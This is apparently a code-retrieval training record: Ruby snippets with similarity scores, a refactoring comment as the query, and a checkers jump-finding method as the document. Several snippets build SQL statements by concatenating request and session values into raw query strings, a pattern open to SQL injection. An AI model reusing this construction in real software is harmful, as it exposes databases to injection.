\"SlideID\"='+\"#{@lastID};\"\n ActiveRecord::Base.connection.execute(quer_sett);\n\n\n ####info of slide setting table on the basis of the setting selected in the dropdown list####\n @slidesetinfo=TblSlideSetting.find_by_SlideSettingID(params[:slidesetting_hid])\n\n ########################################################################################################\n\n contentlayerslider='<div class=\"slider_align\"><div id=\"layerslider\" style=\"width: 800px; height: 400px;\"><div class=\"'+@querylastID.SlideClass+'\" data-ls=\"slidedelay: \"'+@querylastID.SlideDelay.to_s+'; transition2d: 75,79;\"><img src=\"'+ @tbl_slide.avatar.url(:small)+'\" class=\"ls-bg\" data-ls=\"\n\t\t\t\t\toffsetxin: '+@slidesetinfo.offsetxin+';\n\t\t\t\t\toffsetxout:'+@slidesetinfo.offsetxout+';\n\t\t\t\t\toffsetyin: '+@slidesetinfo.offsetyin+';\n\t\t\t\t\toffsetyout: '+@slidesetinfo.offsetyout+';\n\t\t\t\t\trotatein: '+@slidesetinfo.rotatein+';\n\t\t\t\t\trotateout: '+@slidesetinfo.rotateout+';\n\t\t\t\t\tfadein: '+@slidesetinfo.fadein.to_s+';\n\t\t\t\t\tfadeout: '+@slidesetinfo.fadeout.to_s+';\n\t\t\t\t\teasingin: '+@slidesetinfo.easingin+';\n\t\t\t\t\teasingout: '+@slidesetinfo.easingout+';\n\t\t\t\t\tdurationin: '+@slidesetinfo.durationin+';\n\t\t\t\t\tdelayin: '+@slidesetinfo.delayin+';\n showuntil:'+@slidesetinfo.showuntil.to_s+';\n rotatexin: '+@slidesetinfo.rotatexin.to_s+';\n rotatexout: '+@slidesetinfo.rotatexout.to_s+';\n rotateyin: '+@slidesetinfo.rotateyin.to_s+';\n rotateyout: '+@slidesetinfo.rotateyout.to_s+';\n scalexin: '+@slidesetinfo.scalexin.to_s+';\n scalexout: '+@slidesetinfo.scalexout.to_s+';\n scaleyin: '+@slidesetinfo.scaleyin.to_s+';\n scaleyout: '+@slidesetinfo.scaleyout.to_s+';\n skewxin: '+@slidesetinfo.skewxin.to_s+';\n skewxout: '+@slidesetinfo.skewxout.to_s+';\n skewyin: '+@slidesetinfo.skewyin.to_s+';\n skewyout: '+@slidesetinfo.skewyout.to_s+';\n transformoriginin: '+@slidesetinfo.transformoriginin+';\n transformoriginout: '+@slidesetinfo.delayin+';\n\t\t\t\t\"/>'\n contentlayerslid='<div id=\"layerslider\" style=\"width: 800px; height: 400px;\"><div class=\"'+@querylastID.SlideClass+'\" data-ls=\"slidedelay: \"'+@querylastID.SlideDelay.to_s+'; transition2d: 75,79;\"><img src=\"'+@tbl_slide.avatar.url(:small)+'\" class=\"ls-bg\" />'\n slides='<div class=\"'+@querylastID.SlideClass+'\" data-ls=\"slidedelay:'+@querylastID.SlideDelay.to_s+'; transition2d: 75,79;\"><img src=\"'+ @tbl_slide.avatar.url(:small)+'\" class=\"ls-bg\" data-ls=\"\n\t\t\t\t\toffsetxin: '+@slidesetinfo.offsetxin+';\n\t\t\t\t\toffsetxout:'+@slidesetinfo.offsetxout+';\n\t\t\t\t\toffsetyin: '+@slidesetinfo.offsetyin+';\n\t\t\t\t\toffsetyout: '+@slidesetinfo.offsetyout+';\n\t\t\t\t\trotatein: '+@slidesetinfo.rotatein+';\n\t\t\t\t\trotateout: '+@slidesetinfo.rotateout+';\n\t\t\t\t\tfadein: '+@slidesetinfo.fadein.to_s+';\n\t\t\t\t\tfadeout: '+@slidesetinfo.fadeout.to_s+';\n\t\t\t\t\teasingin: '+@slidesetinfo.easingin+';\n\t\t\t\t\teasingout: '+@slidesetinfo.easingout+';\n\t\t\t\t\tdurationin: '+@slidesetinfo.durationin+';\n\t\t\t\t\tdelayin: '+@slidesetinfo.delayin+';\n showuntil:'+@slidesetinfo.showuntil.to_s+';\n rotatexin: '+@slidesetinfo.rotatexin.to_s+';\n rotatexout: '+@slidesetinfo.rotatexout.to_s+';\n rotateyin: '+@slidesetinfo.rotateyin.to_s+';\n rotateyout: '+@slidesetinfo.rotateyout.to_s+';\n scalexin: '+@slidesetinfo.scalexin.to_s+';\n scalexout: '+@slidesetinfo.scalexout.to_s+';\n scaleyin: '+@slidesetinfo.scaleyin.to_s+';\n scaleyout: '+@slidesetinfo.scaleyout.to_s+';\n skewxin: '+@slidesetinfo.skewxin.to_s+';\n skewxout: '+@slidesetinfo.skewxout.to_s+';\n skewyin: '+@slidesetinfo.skewyin.to_s+';\n skewyout: '+@slidesetinfo.skewyout.to_s+';\n transformoriginin: '+@slidesetinfo.transformoriginin+';\n transformoriginout: '+@slidesetinfo.delayin+';\n\t\t\t\t\"/>'\n\n\n if session[:contentlayerslider] == 1\n\n\n quernil='UPDATE tbl_contents SET \"ContentValue\"='+\"'\"+\"#{contentlayerslider}\"+\"'\"+' WHERE \"PlaceHolder\"='+\"'\"+\"#{@placeholder}\"+\"'\"+';'\n ActiveRecord::Base.connection.execute(quernil);\n\n else\n\n #qunil=\"UPDATE tbl_contents SET ContentValue='#{contentlayerslid}' WHERE PlaceHolder='#{@placeholder}';\"\n #ActiveRecord::Base.connection.execute(qunil);\n\n @infobann=TblBanner.find_by_BannerID(session[:bannerID])\n @placeh=@infobann.PlaceHolder\n @placeinfo=TblPlaceHolder.find_by_PlaceHolderTitle(@placeh)\n @placeholID=@placeinfo.PlaceHolderID\n @placcontentInfor=TblPlaceHolderContent.find_by_PlaceHolderID(@placeholID)\n @Contentid=@placcontentInfor.ContentID\n @contentinfor=TblContent.find_by_ContentID(@Contentid)\n\n\n @SlideInfo=TblSlide.where(BannerID: session[:bannerID])\n\n @SlideInfo.each do |index|\n\n\n contentnew=@contentinfor.ContentValue+slides\n\n dasd='UPDATE tbl_contents SET \"ContentValue\"='+\"'\"+\"#{contentnew+'</div></div>'}\"+\"'\"+'where \"PlaceHolder\"='+\"'\"+\"#{@placeh}\"+\"'\"+';'\n\n\n\n ActiveRecord::Base.connection.execute(dasd);\n\n\n end\n\n\n\n #############################################################################################################\n\n\n\nend\n\n\n\n end\n format.json { render :edit, status: :created, location: @tbl_slide }\n\n\n\n\n else\n format.html { render :new }\n format.json { render json: @tbl_slide.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @slide = Slide.new(params[:slide])\n\n # If we're creating a new slide from the slideshow editing page, add the\n # slide to the slideshow and then redirect to the slideshow edit screen.\n @slide.slideshows << (@slideshow = Slideshow.find(params[:slideshow_id])) if params[:slideshow_id]\n\n respond_to do |format|\n if @slide.save\n format.html { redirect_to (@slideshow ? edit_slideshow_path(@slideshow) : @slide), notice: 'Slide was successfully created.' }\n format.json { render json: @slide, status: :created, location: @slide }\n else\n format.html { render action: \"new\" }\n format.json { render json: @slide.errors, status: :unprocessable_entity }\n end\n end\n end",
"def valid?\n !!recompose rescue false\n end",
"def remove_slider(name)\n return false if @sliders[name.to_s].nil?\n degenerate_slider_html(name.to_s)\n @sliders.delete(name.to_s)\n true\n end",
"def validate_article(item)\n date = item.pubDate.to_date\n return false if @start > date || @end < date\n\n if item.enclosure\n image = item.enclosure.url\n else\n image = nil\n end\n\n [date, image]\n end",
"def validate_article(item)\n date = item.pubDate.to_date\n return false if @start > date || @end < date\n\n if item.enclosure\n image = item.enclosure.url\n else\n image = nil\n end\n\n [date, image]\n end"
] |
[
"0.6200143",
"0.61274326",
"0.6084023",
"0.60409975",
"0.60064477",
"0.5999631",
"0.5921774",
"0.59066194",
"0.5903091",
"0.5901312",
"0.5900295",
"0.58976007",
"0.58689755",
"0.5809254",
"0.58059675",
"0.58017987",
"0.57822216",
"0.5775066",
"0.5774184",
"0.57466114",
"0.5650494",
"0.5627878",
"0.56046563",
"0.5598011",
"0.55783707",
"0.55367947",
"0.5535079",
"0.55074865",
"0.55039495",
"0.5496762",
"0.5490054",
"0.54822797",
"0.545733",
"0.5387666",
"0.53874713",
"0.5371556",
"0.5365682",
"0.5358832",
"0.5354356",
"0.53514034",
"0.53472215",
"0.53172773",
"0.53145057",
"0.52450734",
"0.5242212",
"0.5238934",
"0.52385336",
"0.5233483",
"0.52301",
"0.5224703",
"0.5212522",
"0.5167089",
"0.51664793",
"0.51601446",
"0.51576805",
"0.5155088",
"0.5141691",
"0.5141691",
"0.5141691",
"0.5141691",
"0.5141691",
"0.51259935",
"0.51259935",
"0.51259935",
"0.51259935",
"0.51259935",
"0.51179516",
"0.5104955",
"0.50950176",
"0.5070745",
"0.5063081",
"0.5051985",
"0.50482345",
"0.50431263",
"0.50386894",
"0.50315195",
"0.503095",
"0.5028458",
"0.5010275",
"0.5003754",
"0.50034213",
"0.5003095",
"0.500251",
"0.50024843",
"0.50017005",
"0.49927405",
"0.49872598",
"0.49825546",
"0.49825546",
"0.49737564",
"0.49711785",
"0.49645048",
"0.4960374",
"0.49482852",
"0.49467182",
"0.49439618",
"0.49429265",
"0.4939548",
"0.49373454",
"0.49354336",
"0.49354336"
] |
0.0
|
-1
|
come back and refactor this... logic a little messy
|
def possible_jumps
pos_jumps = [ ]
row, col = @pos
move_diffs.each do |row_change, col_change|
jumped_piece = [row + row_change, col + col_change]
new_position = [row + (row_change * 2), (col + col_change * 2)]
unless @grid[jumped_piece].nil? || @grid[jumped_piece].color == @color
pos_jumps << new_position
end
end
pos_jumps
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def private; end",
"def probers; end",
"def anchored; end",
"def suivre; end",
"def schubert; end",
"def checks; end",
"def operations; end",
"def operations; end",
"def offences_by; end",
"def formation; end",
"def post_match() end",
"def processor; end",
"def the_lineup #in short, this returns only phrases that have situations which are selected AND scores (familiarity levels) which have been selected\n the_situations = []\n the_scores = []\n the_phrases = []\n @situations.each do |s|\n if s.studying_now == true\n the_situations << s.id\n else\n next\n end\n end\n#the_situations = @situations.map do {|s| s.studying_now == true}\n# do this for scores (with map)\n# do this for phrases (with map)\n\n @scores.each do |s|\n if s.studying_now == true\n the_scores << s.id\n else\n next\n end\n end\n\n the_situations.each do |this_situation_id| #checking situations that are true\n a_situation = @situations.find(this_situation_id) #a single situation that is true\n\n the_scores.each do |this_score_id| #checking scores that are true\n a_score = @scores.find(this_score_id) #a single true score for this iteration\n\n all_phrases_in_a_situation = a_situation.phrases.all #all the phrases for the relevant situation\n all_phrases_in_a_situation.each do |this_phrase| #cycling over a given phrase in a true situation\n if (this_phrase.score_id == a_score.id) && (this_phrase.familiarity_score < 100.0)\n the_phrases << this_phrase\n else\n next\n end\n end\n\n end\n end\n\n the_phrases\n\n #a phrase should have the correct id from situations array\n #a phrase should have the correct id from scores array\n #a phrase should also have a score less than the trip wire\n\n #phrase.familiarity score should autoset at situations home (it does)\n end",
"def transformations; end",
"def apply\n\t\t\n\tend",
"def apply\n\t\t\n\tend",
"def stderrs; end",
"def celebration; end",
"def parts; end",
"def parts; end",
"def parts; end",
"def apply\n\t\t\t\t\n\t\t\tend",
"def arrange\n\t\t\n\tend",
"def parse_item_info(condensed,items,notes_by_mid,sumh_by_mid,grouped,bibid,response,over_locs,orders_by_mid)\n\t items_by_mid = {}\n\t if false\n\t # needed this when condensed was organized by library name.\n\t # now it is keyed by holding id.\n\t # condensed by holding id (mid ), to find which condensed entry contains a particular mid\n\t # value at the index is a library 'displayname'.\n\t condn_by_mid = {}\n\t condensed.each_key do |lk|\n\t ##Rails.logger.debug \"\\nes287_debug condensed key lk = #{lk}\"\n\t condensed[lk][\"holding_id\"].each do |hk|\n\t\tcondn_by_mid[hk] = lk\n\t end\n\t end\n\t end\n\t #condn_by_mid = create_dn_by_mid(bibid,response)\n\t ###Rails.logger.debug \"\\nes287_debug line:(#{__LINE__})items this condn by mid = \"+ condn_by_mid.inspect\n\t # TODO -- there may be notes on a holding record,\n\t # but no items attached to that holding. if that is true, this does not work.\n\t # need to detect this condition, and correct for that.\n\t # example bound withs, like 531286, or RMC things with no item records\n\t items.each do |iinfo|\n\t hk = iinfo['mfhd_id']\n\t curi = \"\"\n\t if (!condensed[hk].nil? && !condensed[hk][\"current_issues\"].nil?)\n\t curi = condensed[hk][\"current_issues\"]\n\t end\n\t indx = \"\"\n\t if (!condensed[hk].nil? && !condensed[hk][\"indexes\"].blank?)\n\t indx = condensed[hk][\"indexes\"]\n\t end\n\t supl = \"\"\n\t supl1 = \"\"\n\t supl2 = \"\"\n\t if (!condensed[hk].nil? && !condensed[hk][\"supplements\"].blank?)\n\t supl1 = condensed[hk][\"supplements\"]\n\t end\n\t if (!condensed[hk].nil? && !condensed[hk][\"supplemental_holdings_desc\"].blank?)\n\t supl2 = condensed[hk][\"supplemental_holdings_desc\"]\n\t end\n\t if (!supl1.blank? || !supl2.blank?)\n\t supl = \"Supplements: \" +supl1+supl2\n\t end\n\t items_by_mid[hk] = {\"items\"=> {}, \"notes\"=>notes_by_mid[hk], \"summary_holdings\"=>sumh_by_mid[hk],\n\t\t\"current_issues\"=>curi,\"supplements\" => supl , \"indexes\"=> indx }\n\t end\n\t # insert item info into correct place into condensed array\n\t ##Rails.logger.debug \"\\nes287_debug File:#{__FILE__}:line:#{__LINE__} items_by_mid = #{items_by_mid.inspect}\"\n\t ##Rails.logger.debug \"\\nes287_debug File:#{__FILE__}:line:#{__LINE__} condensed = #{condensed.inspect}\"\n\t items_by_mid.each_key do |hk|\n\t ##Rails.logger.debug \"\\nes287_debug File:#{__FILE__}:line:(#{__LINE__}) hk = #{hk}\"\n\t next if hk.nil?\n\t next if items_by_mid[hk].nil?\n\t next if condensed[hk].nil?\n\t #condensed[condn_by_mid[hk]][\"copies\"] << items_by_mid[hk]\n\t condensed[hk][\"copies\"] << items_by_mid[hk]\n\t if !over_locs[hk].blank?\n\t\t##Rails.logger.debug \"\\nes287_debug line:(#{__LINE__}) over_locs[hk] = #{over_locs[hk]}\"\n\t\t#condensed[condn_by_mid[hk]][\"copies\"][0][\"temp_locations\"] = over_locs[hk]\n\t\tcondensed[hk][\"copies\"][0][\"temp_locations\"] = over_locs[hk]\n\t end\n\t condensed[hk][\"copies\"][0][\"items\"] = grouped[hk][\"items\"] unless grouped[hk].nil?\n\t end\n\t condensed.each_key do |hk|\n\t ##Rails.logger.debug \"\\nes287_debug line:(#{__LINE__}) hk = #{hk}\"\n\t if condensed[hk.to_s][\"copies\"].blank?\n\t\t#condensed[hk.to_s][\"copies\"] = [{\"items\" =>{} ,\"orders\" => [] } ]\n\t\tcondensed[hk.to_s][\"copies\"] =\n\t\t [{\"items\"=>{\"Not Available\"=>{\"status\"=>\"none\", \"count\"=>0}}, \"notes\"=>nil, \"summary_holdings\"=>nil,\"orders\" => nil}]\n\t end\n\t condensed[hk.to_s][\"copies\"][0][\"orders\"] = orders_by_mid[hk.to_s] unless orders_by_mid[hk.to_s].blank?\n\t end\n\t condensed\n\t end",
"def strategy; end",
"def who_we_are\r\n end",
"def identify; end",
"def malts; end",
"def villian; end",
"def calculated; end",
"def check\n \n end",
"def check\n \n end",
"def specie; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def common\n \n end",
"def intensifier; end",
"def unusual_sport; end",
"def transact; end",
"def post_process; end",
"def ignores; end",
"def romeo_and_juliet; end",
"def order; end",
"def order; end",
"def pos() end",
"def pos() end",
"def pos() end",
"def pos() end",
"def prepareForReuse; end",
"def process_rows!\n # Correct incorrect rows in the table\n table.each do |row|\n row_metric = row[\"metric\"] # perf optimization\n # TODO inject Saikuro reference\n if row_metric == :saikuro\n fix_row_file_path!(row)\n end\n tool_tables[row_metric] << row\n file_tables[row[\"file_path\"]] << row\n class_tables[row[\"class_name\"]] << row\n method_tables[row[\"method_name\"]] << row\n end\n end",
"def schumann; end",
"def calls; end",
"def calls; end",
"def trd; end",
"def passes; end",
"def passes; end",
"def transforms; end",
"def verify_craft files = nil, args = {:discover_deleted => false}\n files = self.instance.identify_craft_in(self.name) if files.nil?\n\n present_craft = {:sph => [], :vab => []} \n existing_craft = Craft.where(:campaign_id => self.id).to_a\n\n #this rats nest of chained loops is not really that horrible!\n #it takes the array of craft from the above select and groups them by craft_type. Then for each group it makes an hash of {craft_name => craft}. \n #So it results in a hash of; craft_type => hash of {craft_name => craft}\n existing_craft_map = existing_craft.group_by{|c| c.craft_type}.map{|k,v| {k => v.map{|cc| {cc.name => cc}}.inject{|i,j|i.merge(j)} } }.inject{|i,j|i.merge(j)}\n\n #create a new Craft object for each craft file found, unless a craft object for that craft already exists.\n files.each do |type, craft_files| #files is grouped by craft_type\n craft_files.each do |craft_name| \n name = craft_name.sub(\".craft\",\"\") #get the name of the craft \n #and determine if a craft by that name already exists in that craft_type.\n match = existing_craft_map[type.to_s][name] if existing_craft_map && !existing_craft_map[type.to_s].nil?\n if match.nil?\n craft = self.craft.create(:name => name, :craft_type => type) #if the match is nil, create a Craft object\n self.persistence_checksum = nil #set checksum to nil so next pass of System.process will process this campaign.\n elsif match.deleted?\n match.update_attributes(:deleted => false, :history_count => nil) #if the craft object was marked as deleted, but the file was restored, then un-mark the DB object.\n self.persistence_checksum = nil #set checksum to nil so next pass of System.process will process this campaign.\n end\n present_craft[type] << name #add name to list which is used later to indicate which crafts to NOT mark as deleted \n end\n end\n self.save if self.changed?\n \n #Discover deleted - any craft for which no file exists, but which at one point was in the repo\n if args[:discover_deleted] \n ddc = [] #track to ensure each deleted craft is only processed once (in cases where a craft has been deleted multiple times)\n self.discover_deleted_craft(existing_craft_map).each do |del_inf|\n del_inf[:deleted].each do |craft_data|\n next if ddc.include? [craft_data[:craft_type], craft_data[:name]] #skip if a craft of this craft_type and name has already been processed\n ddc << [craft_data[:craft_type], craft_data[:name]] #otherwise add entry to store \n #and create a craft object for the deleted craft.\n self.craft.create!(:name => craft_data[:name].sub(\".craft\",\"\"), :craft_type => craft_data[:craft_type].downcase, :deleted => true, :last_commit => del_inf[:sha])\n end\n end\n end\n\n #remove craft from the repo if the file no longer exists and mark the craft as deleted\n existing_craft.select{|c| !c.deleted?}.each do |craft|\n next if present_craft[craft.craft_type.to_sym] && present_craft[craft.craft_type.to_sym].include?(craft.name)\n craft.deleted = true #actions in .commit will save this attribute\n craft.commit\n end\n end",
"def check_target_in_exon(exon_id,strand_target,strand,len_bioseq,exones_site)\r\n #we are going to keep the exon_id, the strand and the location of the target for the gff file\r\n target_in_exon = Hash.new\r\n strand_target.each do |pos|\r\n #c=[]--> vector auxiliar \r\n c=[]\r\n pos.zip(exones_site).map { |x, y| c << x-y}\r\n if c[0] >=0 && c[1] <= 0\r\n if strand == 'reverse'\r\n #the target is in the exon\r\n #for the format of ebi we have to change again our start and final points \r\n e_start = len_bioseq - pos[1].to_i\r\n e_final = len_bioseq - pos[0].to_i\r\n target_in_exon[[e_start,e_final]] = [exon_id,'-']\r\n else\r\n target_in_exon[[pos[0],pos[1]]] = [exon_id,'+']\r\n end\r\n end\r\n end\r\n if not target_in_exon.empty? # We check there are targets inside the exon\r\n return target_in_exon\r\n end\r\nend",
"def sitemaps; end",
"def rest_positionals; end",
"def hit; end",
"def next() end",
"def next() end",
"def process; end",
"def process; end",
"def process; end",
"def process; end",
"def process; end",
"def process; end",
"def process; end",
"def process; end",
"def placebo?; false end",
"def GetTable(vHsh) # Get values from Oracle Tables, return value or unknown in vHsh[\"tPpqId\"] , value of ctl_file_id in vHsh[\"tFileId\"] or leave alone, value of ctl_status in vHsh[\"tStatus\"] or leave alone.\n x = vHsh[\"fFileName\"] \n dir01 = vHsh[\"dirXml\"]\n d1 = dir01 + \"/\" + x\n lineCount = 0\n dgs = 0\n sDGS = ' ' \n tDgsCount = 0\n tPPQ = ' '\n tCtlFileId = 0\n tDistinct = vHsh[\"fileRecordCount\"] \n vHsh[\"tDgs\"] = vHsh[\"fDgs\"] # assume correct\n vHsh[\"tPpqId\"] = vHsh[\"fPpqId\"] \n \n if tDistinct == 1 # will find from query of table using file dgs\n \n query = \"SELECT f.ctl_file_id, T.PPQ_ID, f.ctl_status_id,P.CTL_PROJECT_ID\n FROM ctl_file f ,ctl_project p, ctl_traveler t\n WHERE f.digital_gs_number = '#{vHsh[\"tDgs\"]}'\n AND f.CTL_PROJECT_ID = p.ctl_project_id\n AND P.CTL_TRAVELER_ID = T.CTL_TRAVELER_ID\" \n \n $LOG.debug(\"GetTable query1 #{query}\") \n stmt = @db.prepare(query)\n stmt.execute\n row = stmt.fetch \n vHsh[\"tFileId\"] = row[0].to_i\n vHsh[\"tPpqId\"] = row[1]\n vHsh[\"tStatus\"] = row[2]\n vHsh[\"tProjId\"] = row[3].to_i\n stmt.finish\n vHsh[\"fPpqId\"] = vHsh[\"tPpqId\"] # We found it\n \n elsif vHsh[\"fPpqId\"] != 'unknown' and vHsh[\"fDgs\"] != 'unknown' # info came in with file\n vHsh[\"tPpqId\"] = vHsh[\"fPpqId\"] # assume correct\n \n query = \"SELECT f.ctl_file_id, T.PPQ_ID, f.ctl_status_id,P.CTL_PROJECT_ID\n FROM ctl_file f ,ctl_project p, ctl_traveler t\n WHERE f.digital_gs_number = '#{vHsh[\"tDgs\"]}'\n AND f.CTL_PROJECT_ID = p.ctl_project_id\n AND P.CTL_TRAVELER_ID = T.CTL_TRAVELER_ID\n AND T.PPQ_ID = '#{vHsh[\"tPpqId\"]}'\" \n # puts query \n $LOG.debug(\"GetTable query2 #{query}\")\n stmt = @db.prepare(query)\n stmt.execute\n row = stmt.fetch \n vHsh[\"tFileId\"] = row[0].to_i\n vHsh[\"tStatus\"] = row[2]\n vHsh[\"tProjId\"] = row[3].to_i\n stmt.finish\n else\n puts 'indeterminate'\n end \n ShowHash(vHsh)\n rescue => err\n puts \"Exception11: #{err}\"\n $LOG.error(\"Exception11: #{err}\") \n raise\n end",
"def transform; end",
"def test_row_first(r)\n flag = false\n $pages[r-1].select{|p| (p.p >> PAGE_SHIFT).even? }.each {|p|\n $pages[r+1].select {|q| (q.p >> PAGE_SHIFT).even? and conflict?(p.v, q.v)\n }.each {|q|\n flag |= hammer_row(r, p, q, $ntime_max)\n } \n }\n return flag\nend",
"def at_least_one_indicator_target_exist \n #when not even 1 set exist(indicator_desc+target+achievement+progress )\n if half==2 && (indicator_desc_quality.blank? && target_quality.blank? && achievement_quality.blank? && progress_quality.blank?) && (indicator_desc_time.blank? && target_time.blank? && achievement_time.blank? && progress_time.blank?) && (indicator_desc_quantity.blank? && target_quantity.blank? && achievement_quantity.blank? && progress_quantity.blank?) && (indicator_desc_cost.blank? && target_cost.blank? && achievement_cost.blank? && progress_cost.blank?)\n return false \n errors.add(\"aa\",\"error la\")\n# elsif id.nil? && half==2 \n# \n# #when user selected 'Sent to PPP for Report' - with INCOMPLETE NEWly inserted xtvt(not yet saved) - (render fields although record not yet saved due to errors)\n# #RESTRICTIONS : requires 'Target fields' to be completed for repeating fields to be rendered when error occurs\n# if ( !indicator_desc_quality.blank? && !target_quality.blank? && !achievement_quality.blank? && !progress_quality.blank?)\n# return true\n# else\n# return false\n# end\n# if ( !indicator_desc_time.blank? && !target_time.blank? && !achievement_time.blank? && !progress_time.blank?)\n# return true\n# else\n# return false\n# end\n# if ( !indicator_desc_quantity.blank? && !target_quantity.blank? && !achievement_quantity.blank? && progress_quantity.blank?)\n# return true\n# else\n# return false\n# end\n# if ( !indicator_desc_cost.blank? && !target_cost.blank? && !achievement_cost.blank? && !progress_cost.blank?)\n# return true\n# else\n# return false\n# end\n\n elsif half==1 && (indicator_desc_quality.blank? && target_quality.blank?) && (indicator_desc_time.blank? && target_time.blank?) && (indicator_desc_quantity.blank? && target_quantity.blank?) && (indicator_desc_cost.blank? && target_cost.blank?)\n return false\n end\n end",
"def flag; end",
"def relatorios\n end",
"def conditionally(*) end",
"def conditionally(*) end",
"def superweening_adorningly(counterstand_pyrenomycetales)\n end",
"def terpene; end",
"def deco_pos; end",
"def prepare_result\n\t\t\tsuper\n\t\t\t@lowest_old = MM.get_lowest_old(@current_point, @start_vector, @hd_config, false, @tuning_range)\n if @lowest_old[0] == nil\n\t\t\t\t@initial_run = true\n\t\t\t\tthrow :jump_back\n\t\t\tend\n\t\tend",
"def lookups; end",
"def handle_notes(notes)\n\n notes.each do |note|\n\n prefix = case note['type']\n when 'dimensions'; \"Dimensions\"\n when 'physdesc'; \"Physical Description note\"\n when 'materialspec'; \"Material Specific Details\"\n when 'physloc'; \"Location of resource\"\n when 'phystech'; \"Physical Characteristics / Technical Requirements\"\n when 'physfacet'; \"Physical Facet\"\n #when 'processinfo'; \"Processing Information\"\n when 'separatedmaterial'; \"Materials Separated from the Resource\"\n else; nil\n end\n\n marc_args = case note['type']\n\n when 'arrangement', 'fileplan'\n ['351', 'a']\n # Remove processinfo from 500\n when 'odd', 'dimensions', 'physdesc', 'materialspec', 'physloc', 'phystech', 'physfacet', 'separatedmaterial'\n ['500','a']\n # we would prefer that information from both the note and subnote appear in subfields of a 506 element, like this:\n # <datafield ind1=\"1\" ind2=\" \" tag=\"506\">\n # <subfield code=\"a\">Restricted until 2020</subfield> <!-- from the subnote/text/content field -->\n # <subfield code=\"f\">Available</subfield> <!-- from the category list -->\n # </datafield>\n when 'accessrestrict'\n ind1 = note['publish'] ? '1' : '0'\n if note['publish'] || @include_unpublished\n if note['rights_restriction']\n result = note['rights_restriction']['local_access_restriction_type']\n if result != []\n result.each do |lart|\n df('506', ind1).with_sfs(['a', note['subnotes'][0]['content']], ['f', lart])\n end\n else\n df('506', ind1).with_sfs(['a', note['subnotes'][0]['content']])\n end\n else\n ['506', ind1 ,'', 'a']\n end\n end\n when 'scopecontent'\n ['520', '2', ' ', 'a']\n when 'abstract'\n ['520', '3', ' ', 'a']\n when 'prefercite'\n ['524', ' ', ' ', 'a']\n when 'acqinfo'\n ind1 = note['publish'] ? '1' : '0'\n ['541', ind1, ' ', 'a']\n when 'relatedmaterial'\n ['544','d']\n when 'bioghist'\n ['545','a']\n when 'custodhist'\n ind1 = note['publish'] ? '1' : '0'\n ['561', ind1, ' ', 'a']\n # Add processinfo to 583\n when 'appraisal', 'processinfo'\n ind1 = note['publish'] ? '1' : '0'\n ['583', ind1, ' ', 'a']\n when 'accruals'\n ['584', 'a']\n when 'altformavail'\n ['535', '2', ' ', 'a']\n when 'originalsloc'\n ['535', '1', ' ', 'a']\n when 'userestrict', 'legalstatus'\n ['540', 'a']\n when 'langmaterial'\n ['546', 'a']\n else\n nil\n end\n\n unless marc_args.nil?\n text = prefix ? \"#{prefix}: \" : \"\"\n text += ASpaceExport::Utils.extract_note_text(note, @include_unpublished)\n\n # only create a tag if there is text to show (e.g., marked published or exporting unpublished) and if there are not multiple local access restriction types (if there are, that's already handled above)\n unless note['type'] == 'accessrestrict' && note['rights_restriction']\n if text.length > 0\n df!(*marc_args[0...-1]).with_sfs([marc_args.last, *Array(text)])\n end\n end\n end\n\n end\n end",
"def manufacture; end",
"def required_positionals; end",
"def zuruecksetzen()\n end",
"def skips; end",
"def missed?; end",
"def ravel; end",
"def refutal()\n end",
"def pass_student(student, test_name)\n\n # if BoatingTest.all.select {|bt|bt.test_name == test_name} && BoatingTest.all.select {|bt|bt.student == student}\n # status = \"passed\"\n # else\n # BoatingTest.new(student, test_name, status = \"passed\", instructor = nil)\n # end\n\n arr = BoatingTest.all.select {|bt|bt.student == student}\n\n matched = arr.find {|bt| bt.test_name == test_name}\n\n if matched\n matched.status = 'passed'\n else\n BoatingTest.new(student,test_name,'passed',self) \n end \n\n def fail_student(student, test_name)\n\n # if BoatingTest.all.select {|bt|bt.test_name == test_name} && BoatingTest.all.select {|bt|bt.student == student}\n # status = \"passed\"\n # else\n # BoatingTest.new(student, test_name, status = \"passed\", instructor = nil)\n # end\n \n arr = BoatingTest.all.select {|bt|bt.student == student}\n \n matched = arr.find {|bt| bt.test_name == test_name}\n \n if matched\n matched.status = 'failed'\n else\n BoatingTest.new(student,test_name,'failed',self) \n end\n end\n\n\n\nend",
"def internship_passed; end",
"def offences_by=(_arg0); end",
"def update\n# read the first 2 lines - it should be enough\n# lsvob starts with \"Tag: \\BARABOOM\"\n# both lsreplica and lsepoch start with \"For VOB replica \"\\BARABOOM\":\"\n# the second line in lsreplica is \"replica \"name\"\"\n# the second line in lsepoch is \"Oplog IDs for row...\" or \"Actual oplog IDs for...\"\n# sometimes lsepcoh has multiple lines in the beginning with \"For VOB replica...\"\n parsed_line = Hash[ :vob => \"Tag: \",\n :lsepoch => \"For VOB replica \",\n :replica => \"replica \",\n :epoch => \"Oplog IDs for row \",\n :epoch_actual => \"Actual oplog IDs for \"]\n\n if params[:lslog].size > 0\n _line1 = params[:lslog].gets\n _line2 = params[:lslog].gets\n params[:lslog].rewind\n if !(_line1.nil? || _line2.nil?)\n if _line1.match(parsed_line[:vob].to_s)\n Site.lsvob_scan(params)\n elsif _line2.match(parsed_line[:epoch].to_s) || \n _line2.match(parsed_line[:epoch_actual].to_s) || \n _line2.match(parsed_line[:lsepoch].to_s)\n Site.lsepoch_scan(params)\n elsif _line2.match(parsed_line[:replica].to_s)\n Site.lsreplica_scan(params)\n else\n # error message\n flash[:notice] = \"INVALID FORMAT! - check the input file!\"\n end\n else\n # error message\n flash[:notice] = \"INVALID FORMAT! - check the input file!\"\n end\n end\n super\n end",
"def in_law; end",
